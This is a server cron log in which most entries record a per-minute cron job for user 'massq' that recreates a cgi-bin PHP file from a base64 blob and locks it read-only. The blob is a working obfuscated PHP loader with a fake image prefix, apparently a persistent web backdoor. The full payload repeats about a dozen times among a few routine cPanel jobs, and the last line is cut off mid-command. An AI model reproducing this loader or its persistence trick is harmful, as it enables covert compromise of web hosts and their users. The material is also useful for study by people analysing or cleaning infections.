Nov 16 03:36:01 server CROND[24148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:37:01 server CROND[24234]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:38:01 server CROND[24431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:39:01 server CROND[24540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:39:01 server CROND[24541]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 03:40:01 server CROND[24642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:40:01 server CROND[24640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 03:40:01 server CROND[24641]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:40:01 server CROND[24643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:41:01 server CROND[24794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:42:01 server CROND[24897]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 03:42:01 server CROND[24898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:43:01 server CROND[25103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:44:01 server CROND[25202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:45:01 server CROND[25308]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:45:01 server CROND[25309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 03:45:01 server CROND[25310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 03:46:01 server CROND[25457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:47:01 server CROND[25546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:48:01 server CROND[25643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 03:49:01 server CROND[25809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 